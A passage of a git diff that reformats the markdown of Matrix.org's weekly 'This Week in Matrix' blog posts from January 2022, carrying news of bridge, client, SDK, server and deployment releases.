on aliases, send you your notifications in a DM and do lots of other wonderful things! -> +> > The notable changes from the 0.1.0 release are: -> -> - The bridge has now been renamed from matrix-github to matrix-hookshot. -> - Now supports JIRA and Generic Webhooks in addition to GitHub and GitLab. -> - Includes new commands and metrics reporting. -> - Includes [complete documentation](https://half-shot.github.io/matrix-hookshot). -> +> +> * The bridge has now been renamed from matrix-github to matrix-hookshot. +> * Now supports JIRA and Generic Webhooks in addition to GitHub and GitLab. +> * Includes new commands and metrics reporting. +> * Includes [complete documentation](https://half-shot.github.io/matrix-hookshot). +> > You can get involved and start playing with it by checking out the release [here](https://github.com/Half-Shot/matrix-hookshot/releases/tag/1.0.0) -> +> > And that will be my last TWIM entry of the year. Have a good one and stay safe all 🐶 That was in 2021! [Half-Shot](https://matrix.to/#/@Half-Shot:half-shot.uk) is back in 2022 with more news > Hey folks! It was only last year we released the 1.0 release of hookshot, after many years of work to get it that far. I'm happy to announce that this week we've got [another release](https://github.com/Half-Shot/matrix-hookshot/releases/tag/1.1.0). There are a number of buxfixes and improved documentation pieces landing (special shoutout to HarHarLinks for ensuring the docs are competent). The highlights are as follows: +> > * Added support for Figma webhooks. this also means the archival of my old project [matrix-figma](https://github.com/Half-Shot/matrix-figma) > * Support GitLab wiki page change events. > * Added a new script `validate-config` which allows you to check your config file for simple errors. Handy for people writing ansible roles! > * Add support for a html key on generic webhooks to set the HTML content of a Matrix message. -> -> The project can be found over at https://github.com/Half-Shot/matrix-hookshot/, with pretty pretty docs at https://half-shot.github.io/matrix-hookshot. We're also in [#hookshot:half-shot.uk](https://matrix.to/#/#hookshot:half-shot.uk) if you prefer using Matrix to learn about these things! +> +> The project can be found over at , with pretty pretty docs at . We're also in [#hookshot:half-shot.uk](https://matrix.to/#/#hookshot:half-shot.uk) if you prefer using Matrix to learn about these things! ### Heisenbridge ([website](https://github.com/hifi/heisenbridge/)) @@ -198,6 +207,7 @@ Heisenbridge is a bouncer-style Matrix IRC bridge. > Heisenbridge roundup! > > Release ~~v1.8.0~~ ~~v1.8.1~~ ~~v1.8.2~~ v1.9.0 🥳 +> > * Spaces support 🌃 > * Sort NAMES reply nicks 🔤 > * `UNPLUMB` network command to force unplumbing without being in the room @@ -210,15 +220,15 @@ Heisenbridge is a bouncer-style Matrix IRC bridge. > * Finally convert from homegrown Matrix API stuff to Mautrix > * Bump Mautrix requirement to 0.12=>0.14 > * Conduit support was broken in 1.8.x but fixed again in 1.9.0, sorry -> +> > Finally there's network level spaces support with a new `SPACE` command. This creates a new bridge controlled space for the network and automatically manages rooms in and out. There's an issue/feature with Element that all rooms that have been converted to DMs with `/converttodm` will appear in all bridge spaces. The workaround is to convert them back to regular rooms. -> +> > CertFP SASL has been updated to do SASL external flow by default. If you are upgrading and have used CertFP with OFTC you need to run `SASL --mechanism=none` for it to connect again. -> +> > Abandoned networks where the user has left all rooms including the network room will now automatically disconnect and cleanup. This is more in line what people would expect and prevents idle connections from hanging around. -> +> > Get your third vaccination from [GitHub](https://github.com/hifi/heisenbridge/releases), [PyPI](https://pypi.org/project/heisenbridge/) or [matrix-docker-ansible-deploy](https://github.com/spantaleev/matrix-docker-ansible-deploy)! -> +> > Thanks! ## Dept of Clients 📱 @@ -230,22 +240,22 @@ Desktop client for Matrix using Qt and C++17. [Nico](https://matrix.to/#/@deepbluev7:neko.dev) announces > We just released 0.9.1! -> -> This is a small bug fix release. If you reported an issue, there is a 15% chance it is fixed now! This release also supports pinned messages, although those will only show up after someone changed the pinned messages in a room currently (we didn't want to force a full resync just for such a small feature). The spaces list is also now nested, Nheko offers you quick access to your recently used reactions and Nheko will show you your direct chats in the sidebar. Apart from that there are quite a few bugfixes and smaller improvements, you can find the full changelog and downloads here: https://github.com/Nheko-Reborn/nheko/releases/tag/v0.9.1 -> +> +> This is a small bug fix release. If you reported an issue, there is a 15% chance it is fixed now! This release also supports pinned messages, although those will only show up after someone changed the pinned messages in a room currently (we didn't want to force a full resync just for such a small feature). The spaces list is also now nested, Nheko offers you quick access to your recently used reactions and Nheko will show you your direct chats in the sidebar. Apart from that there are quite a few bugfixes and smaller improvements, you can find the full changelog and downloads here: +> > Thank you everyone, who helped shape this release! [Nico](https://matrix.to/#/@deepbluev7:neko.dev) reports > Nheko now is a lot more efficient. We now use one Threadpool instead of 3, got rid of more than 60% of the allocations when scrolling through messages, layout half as much content when scrolling, blurhashes decode in 10% of the time and jdenticons allocate ~10% as much temporary buffers. We also deleted around 1000 lines of unused code. Tooltips also shouldn't steal the mouse focus when scrolling anymore, which could lead to sudden stalls when scrolling. -> +> > Additionally edits now replace existing notifications, tastytea added a manpage and fixed blurry or incorrectly sized custom emoji, you can now send custom emotes via the inline completer using ~ and completers now show a scrollable list with more Elements than before. Advanced users can also now opt into an insecure client side secrets storage via a hidden setting. [Nico](https://matrix.to/#/@deepbluev7:neko.dev) says -> We're baaaaack! Anyway, last week Drake just translated all of Nheko into Spanish, you can now zoom in and pan in the image viewer, emojis shouldn't split up into their segments anymore and Nheko should always be sending the qualified version of it (according the to the unicode test files, not by just appending FE0F). Blurhashes should be even faster still and we now have support for running the call event loop on macOS and Windows (although call support is still disabled there for now). -> -> We are also now working to restructure our README. It has a lot of outdated stuff in it and you really want to see screenshots pretty early in the README! You can sneak a peak here: https://nheko.im/nheko-reborn/nheko/-/tree/README_updates +> We're baaaaack! Anyway, last week Drake just translated all of Nheko into Spanish, you can now zoom in and pan in the image viewer, emojis shouldn't split up into their segments anymore and Nheko should always be sending the qualified version of it (according the to the unicode test files, not by just appending FE0F). Blurhashes should be even faster still and we now have support for running the call event loop on macOS and Windows (although call support is still disabled there for now). +> +> We are also now working to restructure our README. It has a lot of outdated stuff in it and you really want to see screenshots pretty early in the README! You can sneak a peak here: ### Element ([website](https://element.io)) @@ -254,15 +264,18 @@ Everything related to Element but not strictly bound to a client [Danielle](https://matrix.to/#/@daniellekirkwood:one.ems.host) reports > Welcome to a new year at Element! -> +> > **Threads** +> > * This week the Threads team has focussed their efforts on improving some of the smaller details and pesky bugs we’ve found in our first rounds of testing. -> - If you’d like to help us test Threads we’ll be asking for help in the Community Testing room over the next few weeks. Join#element-community-testing:matrix.org to stay in the loop. -> +> * If you’d like to help us test Threads we’ll be asking for help in the Community Testing room over the next few weeks. Join#element-community-testing:matrix.org to stay in the loop. +> > **Polls** +> > * Polls is available in Labs on all clients! While we know there are some minor improvements to be made, we’re proud of where we are and would love for you to start using it! -> +> > **Community Testing** +> > * Our next session will be on Wednesday, 12th January at 16:00 UTC (17:00 CET). We will be testing the new release candidates on all three platforms! Join us at#element-community-testing:matrix.org ### Element Web/Desktop ([website](https://github.com/vector-im/element-web)) @@ -273,8 +286,8 @@ Secure and independent communication, connected via Matrix. Come talk with us in > * Work continues on the integration of PostHog analytics. With your explicit permissions we’ll receive anonymous usage data that will allow us to understand the areas of Element that are helpful (or not). This info will help fuel things like our Information Architecture project. > * In labs (you can enable labs in settings on develop.element.io or on Nightly) -> - [Information Architecture](https://github.com/vector-im/element-meta/issues/56) improvements are still being worked on - try it out by enabling things like the new Spotlight search and Breadcrumbs. -> - Message Bubbles are improving; We’ve been hard at work preparing them for a release in the coming weeks. +> * [Information Architecture](https://github.com/vector-im/element-meta/issues/56) improvements are still being worked on - try it out by enabling things like the new Spotlight search and Breadcrumbs. +> * Message Bubbles are improving; We’ve been hard at work preparing them for a release in the coming weeks. ### Element iOS ([website](https://github.com/vector-im/element-ios)) @@ -285,9 +298,9 @@ Secure and independent communication for iOS, connected via Matrix. Come talk wi > * During the Christmas break we increase the speed of the app launch by 7x! Once stabilised this update will land with you. > * Analytics changes have been merged into the RC and opt-in will be available soon. > * In development: -> * More Spaces improvements are underway; You’ll soon be able to add rooms to Spaces, update room settings, and have room interactions on the ‘long-press’. -> * Improved onboarding! We’re hoping to make the first few steps in Element easy by simplifying some of the first tasks users take in the app, including signing up. -> * We’ve started building Message Bubbles on iOS. This will help to distinguish the messages you send from the messages you receive. +> * More Spaces improvements are underway; You’ll soon be able to add rooms to Spaces, update room settings, and have room interactions on the ‘long-press’. +> * Improved onboarding! We’re hoping to make the first few steps in Element easy by simplifying some of the first tasks users take in the app, including signing up. +> * We’ve started building Message Bubbles on iOS. This will help to distinguish the messages you send from the messages you receive. ### Element Android ([website](https://github.com/vector-im/element-android)) @@ -297,8 +310,8 @@ Secure and independent communication for Android, connected via Matrix. Come tal > * For Android we now have a [PR review board](https://github.com/vector-im/element-android/projects/7) to increase visibility into the state of PRs submitted by external contributors! > * The new Opt-in screen for PostHog analytics tracking will be released soon. -> * Work on Message Bubbles has started and we can’t wait to share it with you! -> * If you have any feedback or questions about Messages Bubbles, please let us know now. +> * Work on Message Bubbles has started and we can’t wait to share it with you! +> * If you have any feedback or questions about Messages Bubbles, please let us know now. > * We’re also working on improving the sign up and sign in experience with some micro-improvements landing in the product soon. > * We’re sorry for the delay of Element on F-Droid store, it will be available next week. @@ -310,15 +323,16 @@ A Social Annotation Tool Powered by Matrix [gleachkr](https://matrix.to/#/@gleachkr:matrix.org) says -> A lot has happened with [populus-viewer](https://github.com/opentower/populus-viewer)! -> +> A lot has happened with [populus-viewer](https://github.com/opentower/populus-viewer)! +> > * We now implement [MSC2574](https://github.com/matrix-org/matrix-doc/pull/3574)! This MSC proposes a standard format for marking up resources (PDFs, other document formats, audiovisual media, websites, geospatial data...) using Matrix. > * Room avatars are now displayed in the welcome view for PDF rooms > * There's now a UI for using spaces to manage and share PDF collections > * Reactions now work like element-web: click to mirror an existing reaction or redact your previous reaction -> +> > Next, I'm aiming to implement [MSC3592](https://github.com/matrix-org/matrix-doc/pull/3592), which proposes a standard format for basic markup on PDFs. Stay tuned! And if you're interested in learning more, come visit [#opentower:matrix.org](https://matrix.to/#/#opentower:matrix.org). - +> +> > ![](/blog/img/TRQKbPOZFUovnoqEoEdwFgek.png) ### Matrix Wrench ([website](https://gitlab.com/jaller94/matrix-wrench/)) @@ -329,7 +343,7 @@ Matrix Wrench is a web client to tweak Matrix rooms. > Matrix Wrench is a web client to tweak Matrix rooms. After formerly calling it Matrix Navigator or Matrix Screwdriver, I finally settled on the name Matrix Wrench. `¯\_(ツ)_/¯` > Version v0.2.0 comes with a Network Log which displays `curl` equivalents for all network requests. It also allows to easily add and remove room aliases. -> https://gitlab.com/jaller94/matrix-wrench/ +> ### matrix-streamchat ([website](https://git.pixie.town/f0x/matrix-streamchat)) @@ -338,7 +352,8 @@ Matrix powered stream overlay for OBS, to integrate live chat in your favorite ( [f0x](https://matrix.to/#/@f0x:pixie.town) says > there's a pink theme and irc styling for matrix-streamchat now - +> +> > ![](/blog/img/yOedqpx8C73ql5ZxgMaNsFrm.png) ### Cactus Comments ([website](https://cactus.chat)) @@ -348,25 +363,26 @@ Cactus Comments is a federated comment system for the web, based on the Matrix p [Asbjørn](https://matrix.to/#/@asbjorn:olli.ng) reports > Cactus Comments is a comment system for the open web, built on Matrix. -> +> > We released version v0.11.0 of the client! -> +> > The client has been relicensed to LGPL. This means that you can now use Cactus Comments in non-GPL compatible projects. > But mainly, this release brings a bunch of CSS improvements: introducing automatic dark mode, and making it easier to change colors with CSS variables. -> +> > Here's the changelog: +> > * Relicense from GPLv3 to LGPLv3. > * Rewrite large parts of the stylesheet to use flexbox. > * Introduce CSS variables to the stylesheet. > * `.dark` and `.light` CSS classes with default values for dark/light mode. > * Bugfix: "View More" button no longer blinks when auto-refreshing short comment sections. -> +> > v0.11.0 changelog and IPFS links [here](https://matrix.org/blog/2021/05/07/this-week-in-matrix-2021-05-07). -> +> > [/ipns/latest.cactus.chat](https://latest.cactus.chat/) is updated to point to the latest release, so sites linking there should already be using the new version. -> +> > Try out a live demo: [cactus.chat/demo](https://cactus.chat/demo) -> +> > Join our Matrix room: [#cactus:cactus.chat](https://matrix.org/blog/2021/05/07/this-week-in-matrix-2021-05-07) ## Dept of SDKs and Frameworks 🧰 @@ -377,22 +393,25 @@ simplematrixbotlib is an easy to use bot library for the Matrix ecosystem writte [krazykirby99999](https://matrix.to/#/@krazykirby99999:matrix.org) reports -> Happy New Year! -> +> Happy New Year! +> > Since the last post of TWIM, versions 2.5.1 and 2.6.0 of simplematrixbotlib were released. -> -> ## Version 2.5.1 Released! -> -> ### New Fixes: -> * Fixed [#101](https://github.com/KrazyKirby99999/simple-matrix-bot-lib/issues/101) 'Api' object has no attribute 'async_client' -> -> ## Version 2.6.0 Released! -> -> ### New Features: +> +> ## Version 2.5.1 Released +> +> ### New Fixes +> +> * Fixed [#101](https://github.com/KrazyKirby99999/simple-matrix-bot-lib/issues/101) 'Api' object has no attribute 'async_client' +> +> ## Version 2.6.0 Released +> +> ### New Features +> > * A listener for handling m.reaction events has been added. Bot developers can now use `Listener.on_reaction_event` to smoothly handle reactions. -> +> > Example usage is shown below: -> ``` +> +> ```txt > """ > Example Usage: > @@ -421,16 +440,16 @@ simplematrixbotlib is an easy to use bot library for the Matrix ecosystem writte > bot.run() > > ``` -> +> > Request additional features [here](https://github.com/KrazyKirby99999/simple-matrix-bot-lib/issues/new?assignees=&labels=&template=feature_request.md&title=). -> -> Source: https://github.com/KrazyKirby99999/simple-matrix-bot-lib -> -> Package: https://pypi.org/project/simplematrixbotlib/ -> -> Documentation: https://simple-matrix-bot-lib.readthedocs.io/en/latest/ -> -> Matrix Room: https://matrix.to/#/#simplematrixbotlib:matrix.org +> +> Source: +> +> Package: +> +> Documentation: +> +> Matrix Room: ### matrix-bot-sdk ([website](https://github.com/turt2live/matrix-bot-sdk)) @@ -439,20 +458,22 @@ A TypeScript/JavaScript SDK for Matrix bots [TravisR](https://matrix.to/#/@travis:t2l.io) announces > [matrix-bot-sdk](https://github.com/turt2live/matrix-bot-sdk) has had a v0.6.0-beta.3 release with beta support for crypto! It even includes documentation! -> +> > The crypto is considered beta quality at the moment: good enough to use for somewhat unimportant bots, but not fully recommended for production just yet. With that being said, I'm interested in bugs you run into - please use the issue tracker if you run into crypto not working. -> -> Tutorials for the crypto setup are at https://turt2live.github.io/matrix-bot-sdk/tutorial-encryption.html -> +> +> Tutorials for the crypto setup are at +> > Note for appservice support to work then you'll need a Synapse with these PRs enabled (may require manual merge too): -> * https://github.com/matrix-org/synapse/pull/11538 -> * https://github.com/matrix-org/synapse/pull/11617 -> * https://github.com/matrix-org/synapse/pull/11215 -> -> For non-linux platforms, the rust-sdk will try to build itself which means you might need a working Rust stack. The Rust SDK repo itself has more information: -> * https://github.com/matrix-org/matrix-rust-sdk/blob/travis/node-bindings/crates/matrix-sdk-crypto-nodejs/README.md -> * https://github.com/matrix-org/matrix-rust-sdk/blob/travis/node-bindings/README.md -> +> +> * +> * +> * +> +> For non-linux platforms, the rust-sdk will try to build itself which means you might need a working Rust stack. The Rust SDK repo itself has more information: +> +> * +> * +> > Bots and appservices don't automatically support encryption, but adding encryption *should* be easy. The Rust SDK dependency is required in either case, sorry. ### Complement ([website](https://github.com/matrix-org/complement)) @@ -462,13 +483,15 @@ Matrix compliance test suite [Kegan](https://matrix.to/#/@kegan:matrix.org) reports > [Complement](https://github.com/matrix-org/complement) has seem some updates this week in the test output that is produced onto the CLI. Details on how to add this to your CI process are contained in the README. Here's the difference when viewed using Github Actions: -> +> > Before: -> +> +> > ![](/blog/img/nBSBdEyeRwPXksvquIinsCmw.png) > > After: -> +> +> > ![](/blog/img/fWvudyuDIcTtgwtgdOQShInx.png) ### Polyjuice ([website](https://gitlab.com/polyjuice)) @@ -488,15 +511,15 @@ Matrix packaging for NixOS [piegames](https://matrix.to/#/@piegames:matrix.org) announces > I don't think we've previously had any [Nix/NixOS/nixpkgs](https://nixos.org) related entries in TWIM, so I'll start ^^ -> +> > The current unstable channel has extended its Matrix ecosystem support to also include [Heisenbridge](https://github.com/hifi/heisenbridge) and [Conduit](https://conduit.rs/) packages and modules. This makes it super easy to deploy any of those services: For example, my configuration for Heisenbridge is 21 lines long, and Conduit is only 11 lines. You can browse the available configuration options online: [`services.matrix-conduit`](https://search.nixos.org/options?channel=unstable&query=services.matrix-conduit), [`services.heisenbridge`](https://search.nixos.org/options?channel=unstable&query=services.heisenbridge) (note that some of them are freeform and simply forward to the upstream configuration). -> +> > For those that are not into NixOS, a module is the code that turns the declarative configuration files into your running system setup. As an example, if you enable `services.heisenbridge` the following things are done for you: -> +> > * Create a new `heisenbridge` user and group for the service > * Create and manage the registration file for the homeserver (i.e. automatically regenerate it after the configuration changed) > * Create a systemd service that runs the `heisenbridge` command with the requested bridge configuration. The unit also sets a few systemd security hardening options. -> +> > For support, join our Matrix space at [#community:nixos.org](https://matrix.to/#/#community:nixos.org) and its Matrix-Nix channel: [#matrix-nix:transformierende-gesellschaft.org](https://matrix.to/#/#matrix-nix:transformierende-gesellschaft.org) ### matrix-docker-ansible-deploy ([website](https://github.com/spantaleev/matrix-docker-ansible-deploy)) @@ -506,33 +529,33 @@ Matrix server setup using Ansible and Docker [Slavi](https://matrix.to/#/@slavi:devture.com) says > Thanks to [Aine](https://gitlab.com/etke.cc) of [etke.cc](https://etke.cc/), [matrix-docker-ansible-deploy](https://github.com/spantaleev/matrix-docker-ansible-deploy) can now help you set up [Honoroit](https://gitlab.com/etke.cc/honoroit) - a helpdesk bot. -> +> > See our [Setting up Honoroit](https://github.com/spantaleev/matrix-docker-ansible-deploy/blob/master/docs/configuring-playbook-bot-honoroit.md) documentation to get started. [Slavi](https://matrix.to/#/@slavi:devture.com) says > Thanks to [Aine](https://gitlab.com/etke.cc) of [etke.cc](https://etke.cc/), [matrix-docker-ansible-deploy](https://github.com/spantaleev/matrix-docker-ansible-deploy) now supports [Cinny](https://cinny.in/) - a new simple, elegant and secure Matrix client. -> +> > To try it out, see our [Setting up Cinny](https://github.com/spantaleev/matrix-docker-ansible-deploy/blob/master/docs/configuring-playbook-client-cinny.md) documentation page. [Slavi](https://matrix.to/#/@slavi:devture.com) announces > At [matrix-docker-ansible-deploy](https://github.com/spantaleev/matrix-docker-ansible-deploy), we believe that 2022 will be the year of the non-Synapse Matrix server! -> +> > [Jip J. Dekker](https://github.com/Dekker1) did the [initial work](https://github.com/spantaleev/matrix-docker-ansible-deploy/pull/818) of adding [Dendrite](https://github.com/matrix-org/dendrite) support to the playbook back in January 2021. Lots of work (and time) later, Dendrite support is finally ready for testing. -> +> > The playbook was previously quite [Synapse](https://github.com/matrix-org/synapse)-centric, but can now accommodate multiple homeserver implementations, with Synapse still remaining the default. -> +> > To learn more, see [our changelog entry about Dendrite](https://github.com/spantaleev/matrix-docker-ansible-deploy/blob/master/CHANGELOG.md#dendrite-support). [Slavi](https://matrix.to/#/@slavi:devture.com) announces -> Thanks to [Matthew Cengia](https://github.com/mattcen) and [Shreyas Ajjarapu](https://github.com/shreyasajj), [matrix-docker-ansible-deploy](https://github.com/spantaleev/matrix-docker-ansible-deploy) can now bridge to [Twitter](https://twitter.com/) using the [mautrix-twitter](https://github.com/mautrix/twitter) bridge. -> +> Thanks to [Matthew Cengia](https://github.com/mattcen) and [Shreyas Ajjarapu](https://github.com/shreyasajj), [matrix-docker-ansible-deploy](https://github.com/spantaleev/matrix-docker-ansible-deploy) can now bridge to [Twitter](https://twitter.com/) using the [mautrix-twitter](https://github.com/mautrix/twitter) bridge. +> > Note: the playbook already supports another Twitter bridge - [mx-puppet-twitter](https://github.com/Sorunome/mx-puppet-twitter). -> +> > To get started with this bridge, see [Setting up Mautrix Twitter bridging](https://github.com/spantaleev/matrix-docker-ansible-deploy/blob/master/docs/configuring-playbook-bridge-mautrix-twitter.md) in our documentation. -> +> > This brings the total number of bridges supported by the playbook up to 22. See all supported bridges [here](https://github.com/spantaleev/matrix-docker-ansible-deploy/blob/master/docs/configuring-playbook.md#bridging-other-networks). ### matrix-commit ([website](https://github.com/KrazyKirby99999/matrix-commit)) @@ -541,28 +564,33 @@ A Github Action for sending messages to a Matrix Room. [krazykirby99999](https://matrix.to/#/@krazykirby99999:matrix.org) says -> ## Version 1.2.2 Released! -> +> ## Version 1.2.2 Released +> > A Github Action for sending messages to a Matrix Room. Changes should apply automatically if you are using tag `v1`. -> ## New Features: +> +> ## New Features +> > * Link to repository added > * Link to commit added -> -> ### Before: -> +> +> ### Before +> +> > ![](/blog/img/matrix-commit-before.png) -> -> ### After: +> +> ### After +> +> > ![](/blog/img/matrix-commit-after.png) ## Dept of Guides 🧭 [Austin Huang](https://matrix.to/#/@austin:tchncs.de) says -> A new Matrix guide has come into town: https://joinmatrix.org -> +> A new Matrix guide has come into town: +> > In the hopes to expand Matrix's reach to the non-technical population, this guide is intended to give quick directions on how to use Matrix, as well as clear comparison between Matrix and other dominant platforms. -> +> > The pages are available [on GitHub](https://github.com/austinhuang0131/joinmatrix/). Open to contributions! ## Dept of Ping 🏓 @@ -570,6 +598,7 @@ A Github Action for sending messages to a Matrix Room. Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -586,6 +615,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|microelectro.de|1996| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2022/01/2022-01-14-this-week-in-matrix-2022-01-14.md b/content/blog/2022/01/2022-01-14-this-week-in-matrix-2022-01-14.md index 0e876a484..61a87cb08 100644 --- a/content/blog/2022/01/2022-01-14-this-week-in-matrix-2022-01-14.md +++ b/content/blog/2022/01/2022-01-14-this-week-in-matrix-2022-01-14.md @@ -18,38 +18,45 @@ image = "https://matrix.org/blog/img/beeper-cover.png" [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) announces -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/unstable/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . +> > ## MSC Status -> +> > **New MSCs:** +> > * [MSC3644: Extensible Events: Edits and replies](https://github.com/matrix-org/matrix-doc/pull/3644) > * [\[WIP\] MSC3639: Matrix for the social media use case](https://github.com/matrix-org/matrix-doc/pull/3639) > * [MSC3635: Early Media for VoIP](https://github.com/matrix-org/matrix-doc/pull/3635) -> +> > **MSCs with proposed Final Comment Period:** +> > * [MSC1767: Extensible event types & fallback in Matrix (v2)](https://github.com/matrix-org/matrix-doc/pull/1767) (merge) -> +> > **MSCs in Final Comment Period:** +> > * [MSC3567: Allow requesting events from the start/end of the room history](https://github.com/matrix-org/matrix-doc/pull/3567) (merge) > * [MSC2675: Serverside aggregations of message relationships](https://github.com/matrix-org/matrix-doc/pull/2675) (merge) 🎉 -> +> > **Closed MSCs:** +> > * [MSC2589: Improve replies](https://github.com/matrix-org/matrix-doc/pull/2589) -> - Closed by the author in favour of [MSC2781: Remove the reply fallbacks from the specification](https://github.com/matrix-org/matrix-doc/pull/2781). -> +> * Closed by the author in favour of [MSC2781: Remove the reply fallbacks from the specification](https://github.com/matrix-org/matrix-doc/pull/2781). +> > ## Spec Updates -> +> > Hot on the heels (relatively speaking) of v1.1 of the Spec being released in November, v1.2 is now on the horizon! As a reminder, we're working towards quarterly releases of the spec going forwards - no hard dates yet though. -> -> While this is certainly an improvement in speed, when it comes to writing software and updating implementations: quarterly spec updates may actually seem _too fast_. This is OK; implementations of the spec are __not__ expected to update as soon as a new spec release is published. Rather, it is more realistic to expect that the ecosystem updates gradually over the course of the next few months/year after the release. -> +> +> While this is certainly an improvement in speed, when it comes to writing software and updating implementations: quarterly spec updates may actually seem _too fast_. This is OK; implementations of the spec are **not** expected to update as soon as a new spec release is published. Rather, it is more realistic to expect that the ecosystem updates gradually over the course of the next few months/year after the release. +> > Look forward to more concrete dates soon! +> > ## Random MSC of the Week -> +> > The random MSC of the week is... [MSC2702: Specifying semantics for Content-Disposition on media](https://github.com/matrix-org/matrix-doc/pull/2702)! -> +> > This looks like a small, but useful improvement to the spec that never really received much love. Feel free to give it some! - +> +> > ![](/blog/img/d30cc794ef185e521aa610d4bd8b006ead0d2783.png) ## Dept of Servers 🏢 @@ -61,9 +68,9 @@ Synapse is the reference homeserver for Matrix [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) says > Happy Friday everyone! Today the Synapse team has [released Synapse 1.50.0rc2](https://github.com/matrix-org/synapse/releases/tag/v1.50.0rc2). It fixes a particularly nasty federation-breaking regression that crept in during 1.50.0rc1. If you're currently running 1.50.0rc1, we implore you to update to 1.50.0rc2 as soon as possible! -> +> > In other news, a reminder that as of Synapse 1.50.0rc1, we have ended support for Python 3.6 and PostgreSQL 9.6 as per our [dependency deprecation policy](https://matrix-org.github.io/synapse/latest/deprecation_policy.html), as upstream has marked them as end-of-life. -> +> > We'll let the community test 1.50.0rc2 over the weekend to ensure that no other regressions have emerged (please test if you can)! If not, expect Synapse 1.50 to land sometime early next week. ### Conduit ([website](https://conduit.rs)) @@ -73,24 +80,26 @@ Conduit is a simple, fast and reliable chat server powered by Matrix [Timo ⚡️](https://matrix.to/#/@timokoesters:fachschaften.org) reports > It has been a long time since my last TWIM post, so here's a summary of all exciting news: -> +> > Features: +> > * We now support RocksDB as a backend. Migrating to RocksDB improved both my memory and IO usage a lot. > * You can select the database backend at runtime. No need to recompile a special version anymore. > * Lazy loading works. This means initial syncs are significantly faster (1-2 minutes instead of an hour!) > * Voice calls are now supported (requires configuring a TURN server) > * The report feature is now implemented and sends a report into the admin room -> +> > Improvements: +> > * Much faster state resolution > * Batch inserts for events > * Better appservice docs > * Lots of bug fixes -> +> > All of this is currently available on the `next` branch. We are preparing to make a v0.3.0 release soon! -> +> > Join [#conduit:fachschaften.org](https://matrix.to/#/#conduit:fachschaften.org) to help us test it. -> +> > Thanks to everyone who supports me on [Liberapay](https://liberapay.com/timokoesters) or Bitcoin! ## Dept of Bridges 🌉 @@ -102,25 +111,26 @@ Heisenbridge is a bouncer-style Matrix IRC bridge. [hifi](https://matrix.to/#/@hifi:vi.fi) announces > Release v1.10.0 🥳 +> > * RELAYMSG sending support 🚀 > * Allow forwarding all IRC noise to network room 🤫 > * Support ZNC self-message caps ✅ > * Support CHGHOST caps (prevents leave+join on host change) ✅ > * Fix owner auto-registration (regression) 🐛 > * Upgrade to Mautrix 0.14 ⬆️ -> +> > Sending RELAYMSGs have been requested for a while so now we do support that if the cap is added to request list. This makes plumbs on networks that support it work nicer. Receiving RELAYMSGs has not been implemented yet so they show up as external like before. -> +> > If you prefer keeping your IRC rooms clean without any IRC noise (mode changes etc.) you can now use a new FORWARD command in the network room to make all such events happen in the network room instead. This affects in-room commands as well. -> +> > ZNC users can now enjoy messages coming from your own clone in IRC rooms (including PMs!) if you wish so by keeping the znc.in/self-message cap enabled. This isn't extremely well tested yet but feedback welcome. -> +> > Not a breaking change but the caps support will cause connections to networks that ignore CAP requests take a few seconds longer unless you remove all the default caps for said network and it will never try requesting them again. -> +> > Mautrix 0.14 upgrade bumps the minimum version as well so packages beware. -> +> > Get some global warming from [GitHub](https://github.com/hifi/heisenbridge/releases), [PyPI](https://pypi.org/project/heisenbridge/) or [matrix-docker-ansible-deploy](https://github.com/spantaleev/matrix-docker-ansible-deploy)! -> +> > Thanks! ## Dept of Clients 📱 @@ -132,7 +142,7 @@ Desktop client for Matrix using Qt and C++17. [Nico](https://matrix.to/#/@deepbluev7:neko.dev) announces > We rewrote the whole settings page (as a stepping stone to 100% QML). Please test it and complain about everything I broke! We also tried to organize it a bit better so that similar settings are grouped together and tried to use the right controls for the right things. Best case you didn't notice anything. ;-) -> +> > And we also now show which profile a notification is for on KDE. I don't think other DEs have such a feature, so those will just show the generic Nheko as always. ### Hydrogen ([website](https://github.com/vector-im/hydrogen-web)) @@ -142,9 +152,10 @@ Hydrogen is a lightweight matrix client with legacy and mobile browser support [Bruno](https://matrix.to/#/@bwindels:matrix.org) reports > We're about to release 0.2.23 after somewhat of a release hiatus. We've been working on two fronts: -> - Get the SDK out! Hydrogen was always meant to be easy to embedded, reuse in parts, and make customized versions of. But until now, actually doing that was quite challenging. Now that the SDK is out, you can use the [`hydrogen-view-sdk`](https://www.npmjs.com/package/hydrogen-view-sdk) package in your projects and use parts of Hydrogen in your application. It's still early days, and we're still working out what symbols should be exported (finding a balance between APIs we want to support and utility), etc. Expect updates in the coming weeks. We're also not yet promising API stability for now, some APIs will very likely still change. Once we hit 1.0, we won't change things from underneath you anymore without increasing the major version. -> - Rich reply previews: as part of providing minimal support for threads (representing them as replies), we're switching from using the embedded reply fallback and actually looking up the replied-to message. One benefit is that reply previews will now updated when they are redacted (and edited, once we support that :). -> - Also fix some minor other things, like loading images when they are only partially visible, and a very basic location tile. +> +> * Get the SDK out! Hydrogen was always meant to be easy to embedded, reuse in parts, and make customized versions of. But until now, actually doing that was quite challenging. Now that the SDK is out, you can use the [`hydrogen-view-sdk`](https://www.npmjs.com/package/hydrogen-view-sdk) package in your projects and use parts of Hydrogen in your application. It's still early days, and we're still working out what symbols should be exported (finding a balance between APIs we want to support and utility), etc. Expect updates in the coming weeks. We're also not yet promising API stability for now, some APIs will very likely still change. Once we hit 1.0, we won't change things from underneath you anymore without increasing the major version. +> * Rich reply previews: as part of providing minimal support for threads (representing them as replies), we're switching from using the embedded reply fallback and actually looking up the replied-to message. One benefit is that reply previews will now updated when they are redacted (and edited, once we support that :). +> * Also fix some minor other things, like loading images 